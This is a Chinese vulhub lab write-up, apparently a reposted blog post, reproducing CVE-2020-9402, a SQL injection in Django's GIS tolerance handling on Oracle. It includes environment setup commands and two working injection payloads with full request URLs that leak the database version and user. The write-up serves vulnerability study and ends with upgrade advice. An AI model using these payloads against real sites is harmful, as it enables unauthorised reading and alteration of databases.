17 - vulhub - Django GIS SQL注入漏洞(CVE-2020-9402)

漏洞名称:Django GIS SQL注入漏洞(CVE-2020-9402)

简介:

Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞。攻击者可借助特制的SQL语句利用该漏洞查看、添加、修改或删除数据库中的信息。

影响版本

1.11.29之前的1.11.x版本
2.2.11之前的2.2.x版本
3.0.4之前的3.0.x版本

漏洞原理

开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句

漏洞复现

漏洞利用限制

1、使用了GIS中聚合查询的功能

2、用户在oracle的数据库且可控tolerance查询时的键名

环境准备

靶机环境   139.196.87.102  (vulhub)
攻击机环境  192.168.8.137  (虚拟机 Ubuntu 、Java1.8、Burp)

启动 Django GIS SQL注入漏洞 环境

1.进入 vulhub 的 Django GIS SQL注入漏洞 路径
cd /usr/local/tools/vulhub/django/CVE-2020-9402

2.编译并启动环境
docker-compose up -d

3.查看环境运行状态
docker ps | grep vulhub

在这里插入图片描述


访问 139.196.87.102:8000


在这里插入图片描述


漏洞利用

漏洞一

首先访问 http://139.196.87.102:8000/vuln/

在该网页中使用 get 方法构造 q 的参数,构造 SQL 注入的字符串 20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

http://139.196.87.102:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

见下图


在这里插入图片描述


漏洞二

访问 http://139.196.87.102:8000/vuln2/

在该网页中使用 get 方法构造 q 的参数,构造出 SQL 注入的字符串 0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

http://139.196.87.102:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--

见下图


在这里插入图片描述


漏洞详细分析

关于该漏洞详细分析,请参考 Django CVE-2020-9402 Geo SQL注入分析

修复建议

根据官方提示信息进行版本升级

猜你喜欢

转载自blog.csdn.net/weixin_42250835/article/details/121234821